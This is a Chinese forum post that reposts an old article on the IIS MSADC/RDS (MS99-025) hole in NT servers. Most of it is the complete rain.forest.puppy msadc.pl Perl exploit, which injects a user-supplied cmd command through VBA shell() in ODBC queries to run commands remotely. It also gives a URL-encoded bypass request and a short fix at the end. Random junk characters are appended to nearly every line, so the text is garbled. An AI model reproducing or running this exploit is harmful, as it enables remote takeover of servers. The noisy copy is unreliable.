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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) L 7VDZCV  
% Ya%R@b}  
涉及程序: e ?sMOBPlv  
Microsoft NT server l!qhK'']V"  
Xt} 4B#  
描述: `1 A,sXfa  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 fqpbsM;M]  
4&N#d;ErC  
详细: MkLXMwuQ&  
如果你没有时间读详细内容的话,就删除: oN({X/P2j  
c:\Program Files\Common Files\System\Msadc\msadcs.dll xP/?E  
有关的安全问题就没有了。 ( f]@lNmx  
>-oB%T  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 MD|T4PPz,}  
Ec'Hlsgh&T  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 -+y lJo[D  
关于利用ODBC远程漏洞的描述,请参看: ;YN`E  
4*Uzomb?q  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm p+7G  
G`D rY;  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看  3-~*  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp R5Pk>-KF  
8FT]B/^&m  
这里不再论述。 05>mRqVL  
\3"jW1Wb  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ZNDn! Sj  
ml,FBBGq|-  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset (fA>@5n  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! U_Jchi,!  
k I?+\k\V`  
)fy-]Ky *  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ~ECIL7,  
/Fk]>|*  
#!perl zEVQ[y6BcM  
# jlxY|;gZ-0  
# MSADC/RDS 'usage' (aka exploit) script r=Tz++!  
# Iip%er%b  
# by rain.forest.puppy 9epMw-)k  
# D~ogq]  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me %<)!]8}P*  
# beta test and find errors! &=^YN"=Z  
%1oB!+tv  
use Socket; use Getopt::Std; CZ 33|w  
getopts("e:vd:h:XR", \%args); 0Ra%>e(I^  
,B~5;/ |  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Rtu"#XcBw+  
`5Bv2 wlIV  
if (!defined $args{h} && !defined $args{R}) { l"zA~W/  
print qq~ u{-@,-{  
Usage: msadc.pl -h <host> { -d <delay> -X -v } I q?n*P$  
-h <host> = host you want to scan (ip or domain) 2U|"]tpM&  
-d <seconds> = delay between calls, default 1 second )2 lB  
-X = dump Index Server path table, if available skm~~JM^  
-v = verbose .C\2f+(U  
-e = external dictionary file for step 5 4Ei8G]O $_  
x2,;ar\D  
Or a -R will resume a command session =Vm3f^  
a<0q%A x  
~; exit;} Z9G4in8  
;`O9YbP#  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; tQ *?L  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} h`dHk]O  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} +Wl]1 c/  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); .-'_At4g  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} s3Wjhw/  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } bY-koJo  
Lv?jg ?$  
if (!defined $args{R}){ $ret = &has_msadc;  Q'ZZQ  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 1N_T/I8_F  
/Xq|S O  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" T+x / J]A  
. "cmd /c "; dWi< U4  
$in=<STDIN>; chomp $in; 2}7_Y6RS*  
$command="cmd /c " . $in ; P l!E$   
ePZ Ai"k  
if (defined $args{R}) {&load; exit;} _xH<R  
TQ:h[6v  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; H "Io!{aKU  
&try_btcustmr; uF|Up]Z G  
p0y|pD  
print "\nStep 2: Trying to make our own DSN..."; -[J4nN&N  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; t^Lb}A#$4  
W}N7jPO}  
print "\nStep 3: Trying known DSNs..."; s FJ:09L|  
&known_dsn; C~ A`h=A<  
R>Dr1fc}  
print "\nStep 4: Trying known .mdbs..."; w >%^pO~}`  
&known_mdb; 1JU je  
JU;`c>8=)  
if (defined $args{e}){ Z"'*A\r2  
print "\nStep 5: Trying dictionary of DSN names..."; Q=>5@sZB  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 6&5D4 V  
4DDBf j  
print "Sorry Charley...maybe next time?\n"; j!kJ@lbP  
exit; ~(^pGL3<  
<KK.f9^o(  
############################################################################## pEz^z9  
GRJ6|T$!?$  
sub sendraw { # ripped and modded from whisker l*]hUPJ  
sleep($delay); # it's a DoS on the server! At least on mine... {chZ&8)f  
my ($pstr)=@_; Cg?Mk6i  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Aqmw#X  
die("Socket problems\n");  Qe7=6<  
if(connect(S,pack "SnA4x8",2,80,$target)){ Nd"IW${Kg  
select(S); $|=1; (]\p'%A)  
print $pstr; my @in=<S>; jjQDw=6  
select(STDOUT); close(S);  *U6+b  
return @in; YlUh|sK7m  
} else { die("Can't connect...\n"); }} l5=ih9u  
_&\'Va$  
############################################################################## [&4+ <Nl'  
IY8<^Q']  
sub make_header { # make the HTTP request /;w(sU  
my $msadc=<<EOT z;P#  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 KAD2_@l  
User-Agent: ACTIVEDATA 3uxf n=E  
Host: $ip ?>{u@tYL  
Content-Length: $clen u=qaz7E  
Connection: Keep-Alive 4eB oR%2o  
ybsw{[X>M  
ADCClientVersion:01.06 )eT>[['fm  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 D!OY<?  
q2J |koT  
--!ADM!ROX!YOUR!WORLD! ~]RfOpq^w  
Content-Type: application/x-varg wu eDedz\  
Content-Length: $reqlen sbX7VfAR`  
 K> 4w  
EOT G1w$lc  
; $msadc=~s/\n/\r\n/g; X<.l(9$  
return $msadc;} ^^7@kh mNl  
Jnd_cJ]a  
############################################################################## 9XtO#!+48  
RQ[/s lg  
sub make_req { # make the RDS request b/qK/O8J  
my ($switch, $p1, $p2)=@_; 0;T7fKj  
my $req=""; my $t1, $t2, $query, $dsn; ?!jJxhK<h  
QICxSk  
if ($switch==1){ # this is the btcustmr.mdb query YLTg(*  
$query="Select * from Customers where City=" . make_shell(); 4U}J?EB?K  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . zSD_t  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} w' J`$=  
EV Z1Z  
elsif ($switch==2){ # this is general make table query m:`M&Xs&  
$query="create table AZZ (B int, C varchar(10))"; @v@F%JCZ  
$dsn="$p1";} mF~]P8  
~+0IFJ`}  
elsif ($switch==3){ # this is general exploit table query *S.FM.r  
$query="select * from AZZ where C=" . make_shell(); {_*G"A 9  
$dsn="$p1";} l#T %N@X  
!',%kvJI  
elsif ($switch==4){ # attempt to hork file info from index server X[tB^`  
$query="select path from scope()"; ZAy/u@qt  
$dsn="Provider=MSIDXS;";} v'?o#_La+  
|O>e=HC#q8  
elsif ($switch==5){ # bad query Rrry;Hr  
$query="select"; _<mY|  
$dsn="$p1";} w.J$(o(/  
[sk n9$  
$t1= make_unicode($query); pGR3  
$t2= make_unicode($dsn); RV{%@1Pu  
$req = "\x02\x00\x03\x00"; y0T#Qq  
$req.= "\x08\x00" . pack ("S1", length($t1)); U _A'/p^D  
$req.= "\x00\x00" . $t1 ; O%>*=h`P  
$req.= "\x08\x00" . pack ("S1", length($t2)); Zazs".  
$req.= "\x00\x00" . $t2 ; n.'Ps+G(  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; eHs38X  
return $req;} EZ"i0u  
:NWIUN  
############################################################################## ~F,Y BX  
,9I-3**W  
sub make_shell { # this makes the shell() statement Hik=(pTu>  
return "'|shell(\"$command\")|'";} yl@Nyu  
_ {#K  
############################################################################## ]9w8[T:O  
2(~Zl\  
sub make_unicode { # quick little function to convert to unicode >m;nt}f'+  
my ($in)=@_; my $out; 2p;I<C:Eo  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ^W@8KB  
return $out;} z?Z"*z  
L;M@]  
############################################################################## %vZHHBylu  
O#[bNLV  
sub rdo_success { # checks for RDO return success (this is kludge) 6E1~dK0t  
my (@in) = @_; my $base=content_start(@in); +UX~'t_'v  
if($in[$base]=~/multipart\/mixed/){ Z+6WG  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} O"o|8 l}M/  
return 0;} }vY^e OK.  
-u"|{5? '  
############################################################################## #7'k'(  
6[R6P:v&'G  
sub make_dsn { # this makes a DSN for us |X XO0  
my @drives=("c","d","e","f");  *$DD+]2  
print "\nMaking DSN: "; _fY9u2Y  
foreach $drive (@drives) { V{q*hQd_3  
print "$drive: "; RkF^V(  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . zx]r.V  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" < -W 8  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); lo6upir ZX  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ?#&[1.= u  
return 0 if $2 eq "404"; # not found/doesn't exist x_<#28H!  
if($2 eq "200") { p8-$MF]] 6  
foreach $line (@results) { PbS1`8|4  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} QbSLSMoL  
} return 0;} gk?H@b*  
yN`&oya  
############################################################################## ( [a$Z2m  
gq*W 0S  
sub verify_exists { jP}Ry=V/  
my ($page)=@_; @@\px66  
my @results=sendraw("GET $page HTTP/1.0\n\n"); kxEq_FX  
return $results[0];} #Q["[}flVv  
II _CT=  
############################################################################## {%k[Z9*tO  
VE*`J i  
sub try_btcustmr { 8;<aco/62  
my @drives=("c","d","e","f"); IaRwPDj6  
my @dirs=("winnt","winnt35","winnt351","win","windows"); bk=;=K  
Uj 4HVd  
foreach $dir (@dirs) { bxL'k/Y$  
print "$dir -> "; # fun status so you can see progress H l(W'>*oL  
foreach $drive (@drives) { Lh-Y5(c o  
print "$drive: "; # ditto (gvnIoDl0  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; V(LfFO{^>?  
$reqlenlen=length( "$reqlen" ); jZmL7 V  
$clen= 206 + $reqlenlen + $reqlen; +T*? ?OW@  
VFnxj52<  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); (Lh!7g/0N  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} `S? _=JIX  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} izl-GitP  
y,jpd#Y  
############################################################################## \Jc}Hzug  
/GJL&RMx  
sub odbc_error { pO N#r  
my (@in)=@_; my $base; :TKx>~`  
my $base = content_start(@in); v5?)J91  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this (Lj*FXmz  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 7iv g3*  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Z RwN#?x  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; fn7?g  
return $in[$base+4].$in[$base+5].$in[$base+6];} &jg>X+;  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";  4y5Q5)j  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 4~oRcO8!Y  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} h?4EVOx+  
gwB0/$!4"  
############################################################################## &E!m(|6?+  
'?NMQ  
sub verbose {  '@.Lg0`  
my ($in)=@_; ?uP5("c  
return if !$verbose; yF |28KJ  
print STDOUT "\n$in\n";} x2b t^!t.  
=)iAU/*N  
############################################################################## +m~3InWq  
u!It' ;j  
sub save { QiVKaBS8  
my ($p1, $p2, $p3, $p4)=@_; }LEasj  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; w_QWTD 0  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; |VyN>&r~6  
close OUT;} 0oi.k;  
1`Bhis9X8  
############################################################################## KNP^k$=)3c  
R Eo{E  
sub load { T|(w-)mv  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; G2>s#Y5(,  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); [V;u7Z\r-  
@p=<IN>; close(IN); s{Y-Vdx  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); I>-1kFma;  
$target= inet_aton($ip) || die("inet_aton problems"); 1[a#blL6W  
print "Resuming to $ip ..."; "18cD5-#  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; mpIR: Im  
if($p[1]==1) { 7fT_]H8  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; &wkb r2P  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; j/ARTaO1]"  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); r=RiuxxTq  
if (rdo_success(@results)){print "Success!\n";} s!F8<:FRJD  
else { print "failed\n"; verbose(odbc_error(@results));}} (CYQ>)a  
elsif ($p[1]==3){ }C=+Tn  
if(run_query("$p[3]")){ \vL{f;2J  
print "Success!\n";} else { print "failed\n"; }} n5fc_N/8O=  
elsif ($p[1]==4){ Yfz`or\@=  
if(run_query($drvst . "$p[3]")){ ] J|#WtS  
print "Success!\n"; } else { print "failed\n"; }} ;__k*<+{.  
exit;} e>uq/|.!  
BGu<1$ G  
############################################################################## { "f} }}l  
Jep/%cT$w  
sub create_table { |F ~U  
my ($in)=@_; n2'XWbMaL  
$reqlen=length( make_req(2,$in,"") ) - 28; [raj: 7yQ  
$reqlenlen=length( "$reqlen" ); u+pZ<Bb  
$clen= 206 + $reqlenlen + $reqlen; h}oV)z6  
my @results=sendraw(make_header() . make_req(2,$in,"")); 4/2@^\?i)  
return 1 if rdo_success(@results); A- #c1KU!  
my $temp= odbc_error(@results); verbose($temp); (~PT(B?  
return 1 if $temp=~/Table 'AZZ' already exists/; PL3oV<\4s>  
return 0;}  6\QsK96_  
Qg o| \=  
############################################################################## ExOSHKU,e  
Vg"vC  
sub known_dsn { ]==S?_.B3n  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go D*wY,\  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", oPF n`8dQ  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", axkNy}ct  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ORIXcj]  
5N2`e3:I  
foreach $dSn (@dsns) { IfCa6g<&(  
print "."; Z =*h9,MY  
next if (!is_access("DSN=$dSn")); 07,&weQ  
if(create_table("DSN=$dSn")){ TSRl@QVy  
print "$dSn successful\n"; &w^:nVgl  
if(run_query("DSN=$dSn")){ d}^hZ8k|  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 0\o5+  
print "Something's borked. Use verbose next time\n";}}} print "\n";} lBG"COu  
(Ii+}Mfp  
############################################################################## 9*[!ux7h  
<7MxI@\  
sub is_access { [](] "r  
my ($in)=@_; Uee$5a>(  
$reqlen=length( make_req(5,$in,"") ) - 28; 'W p~8}i@  
$reqlenlen=length( "$reqlen" ); L5]uT`Twa  
$clen= 206 + $reqlenlen + $reqlen; Lhxg5cd  
my @results=sendraw(make_header() . make_req(5,$in,"")); RJD(c#r$  
my $temp= odbc_error(@results); 6[a;83  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); R, U YwI  
return 0;} *Ud P1?Y  
G=KXA'R)1.  
############################################################################## =$< .:b  
6J3<k(#:  
sub run_query {  KzZRFEA_  
my ($in)=@_; zi+NQOhR  
$reqlen=length( make_req(3,$in,"") ) - 28; vyruUYFWe  
$reqlenlen=length( "$reqlen" ); #nS crs@  
$clen= 206 + $reqlenlen + $reqlen; 'RIx}vPf  
my @results=sendraw(make_header() . make_req(3,$in,"")); (ZD~Q_O-  
return 1 if rdo_success(@results); Lr(My3vF8q  
my $temp= odbc_error(@results); verbose($temp); e,@5`aYHM@  
return 0;}  ]l=iKl  
W@vCMy!  
############################################################################## g_(O7  
WWVQJ{,}  
sub known_mdb { VO7&<Y}{x  
my @drives=("c","d","e","f","g"); FN D+Ok&  
my @dirs=("winnt","winnt35","winnt351","win","windows"); )1Z @}o 9  
my $dir, $drive, $mdb; cg}lF9;d  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; wF{M"$am  
7vB6IF  
# this is sparse, because I don't know of many a)M3t  
my @sysmdbs=( "\\catroot\\icatalog.mdb", >d^DN;p  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 0@}:`OynX  
"\\system32\\certmdb.mdb", #UqE %g`J  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 0$. ;EGP  
J!5&Nc  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", OCWyp  
"\\cfusion\\cfapps\\forums\\forums_.mdb", xPP]RoPR  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ~Z$Ro/;l  
"\\cfusion\\cfapps\\security\\realm_.mdb", +}^^]J$Nh  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", NV;T*I8O  
"\\cfusion\\database\\cfexamples.mdb", NrfAr}v'E  
"\\cfusion\\database\\cfsnippets.mdb", IMHt#M`  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", vH>s2\V"  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", VI8/@A1Gv  
"\\cfusion\\brighttiger\\database\\cleam.mdb", l +# FoN  
"\\cfusion\\database\\smpolicy.mdb", _?;74VWA  
"\\cfusion\\database\cypress.mdb", k, jcLX.  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", FLaj|Z~#)  
"\\website\\cgi-win\\dbsample.mdb", UZ7ukn-  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", CWS]821;  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" XOPiwrg%p  
); #these are just 3U[:N &Jb  
foreach $drive (@drives) { .N  Z  
foreach $dir (@dirs){ L [X "N  
foreach $mdb (@sysmdbs) { l+<AM%U\ V  
print "."; q$jwH] .  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ;Bne=vjQp  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; \NQ[w7  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 9mB] \{^  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; O\}w&BE:h  
} else { print "Something's borked. Use verbose next time\n"; }}}}} UMlvu?u2p1  
zl)r3#6hW  
foreach $drive (@drives) { *:Y9&s^6j  
foreach $mdb (@mdbs) { :VlMszy}B3  
print "."; eY3<LVAX  
if(create_table($drv . $drive . $dir . $mdb)){ 4'H)h'#C  
print "\n" . $drive . $dir . $mdb . " successful\n"; TZa LB}4  
if(run_query($drv . $drive . $dir . $mdb)){ Nq[-.}Z6  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; X@%4N<  
} else { print "Something's borked. Use verbose next time\n"; }}}} G PL^!_  
} 921s'"  
d"}lh:L9  
############################################################################## ZKVM9ofXRi  
ho}G]y  
sub hork_idx { YG6Y5j[-X~  
print "\nAttempting to dump Index Server tables...\n"; WM GiV  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 1A N)%  
$reqlen=length( make_req(4,"","") ) - 28; c"NGE  
$reqlenlen=length( "$reqlen" ); ^'4I%L"  
$clen= 206 + $reqlenlen + $reqlen; H=*2A!O[_  
my @results=sendraw2(make_header() . make_req(4,"","")); #QiNSS  
if (rdo_success(@results)){ X^d}eWP`I  
my $max=@results; my $c; my %d; kvam`8SeL  
for($c=19; $c<$max; $c++){ 9&1$\ZH  
$results[$c]=~s/\x00//g; 0D}k ^W  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; +"PME1  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; j/hm)*\io  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 0|]qW cD  
$d{"$1$2"}="";} |i- S}M  
foreach $c (keys %d){ print "$c\n"; } K#dG'/M|Pb  
} else {print "Index server doesn't seem to be installed.\n"; }} 0t)5KO  
EP6@5PNZ  
############################################################################## L%/atl!  
j +Ro?  
sub dsn_dict { |6~ Kin  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); @gm!D`YL  
while(<IN>){ \|$GBU  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; n/+G^:~_  
next if (!is_access("DSN=$dSn")); ^6 \@$   
if(create_table("DSN=$dSn")){ 6#kK  
print "$dSn successful\n"; aY\(R02B  
if(run_query("DSN=$dSn")){ T,v5cc:nO  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ^P owL:  
print "Something's borked. Use verbose next time\n";}}} 7:wf!\@ I  
print "\n"; close(IN);} ! $fF3^8-  
nT@FS t  
############################################################################## !GtCOr\'  
g3\1 3<  
sub sendraw2 { # ripped and modded from whisker >C}KSyV;  
sleep($delay); # it's a DoS on the server! At least on mine... V#V<Kz  
my ($pstr)=@_; [<VyH.  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || qino:_g  
die("Socket problems\n"); R3E|seR  
if(connect(S,pack "SnA4x8",2,80,$target)){ u{|^5%)  
print "Connected. Getting data"; [ejl #'*5  
open(OUT,">raw.out"); my @in; tdnd~WSR  
select(S); $|=1; print $pstr; H2E'i\  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} n;~6'f xe  
close(OUT); select(STDOUT); close(S); return @in; qz|xow/ns@  
} else { die("Can't connect...\n"); }} : W0;U  
zc!q a"4yM  
############################################################################## T_~xDQ`v  
8<Ex`  
sub content_start { # this will take in the server headers ybpU?n  
my (@in)=@_; my $c; i&JI"Dd7  
for ($c=1;$c<500;$c++) { CV *  
if($in[$c] =~/^\x0d\x0a/){ (0zYS_m A  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } /UiB1-*b  
else { return $c+1; }}} [ P%'p-Hg_  
return -1;} # it should never get here actually WsR4)U/]v  
. "`f~s\G  
############################################################################## LgA> ,.  
#,rP1#?  
sub funky { 1Ewg_/R  
my (@in)=@_; my $error=odbc_error(@in); 'o-J)+oa  
if($error=~/ADO could not find the specified provider/){ j4Y] 8  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; QHe:  
exit;} xO;Qr.3PX  
if($error=~/A Handler is required/){ uN(N2m  
print "\nServer has custom handler filters (they most likely are patched)\n"; _)^`+{N<  
exit;} 'jBtBFzP-  
if($error=~/specified Handler has denied Access/){ M[KYt"v  
print "\nServer has custom handler filters (they most likely are patched)\n"; j9 &0/ ~/  
exit;}} $kn"S>jV  
ufS0UD8%H  
############################################################################## <"x *ZT  
r }Nq"s<  
sub has_msadc { jx8hh}C  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); z. xRJ  
my $base=content_start(@results); fDZnC Fa  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Fo&ecWhw  
return 0;} Ox+}JB [  
/V!gF+L  
######################## P%Wl`NA P  
6>- Gi  
wm/>_  
解决方案: R5'_il  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll T1fX[R ^\  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 F` ]s  
z;[Z'_B  
拿出来充数 哈哈
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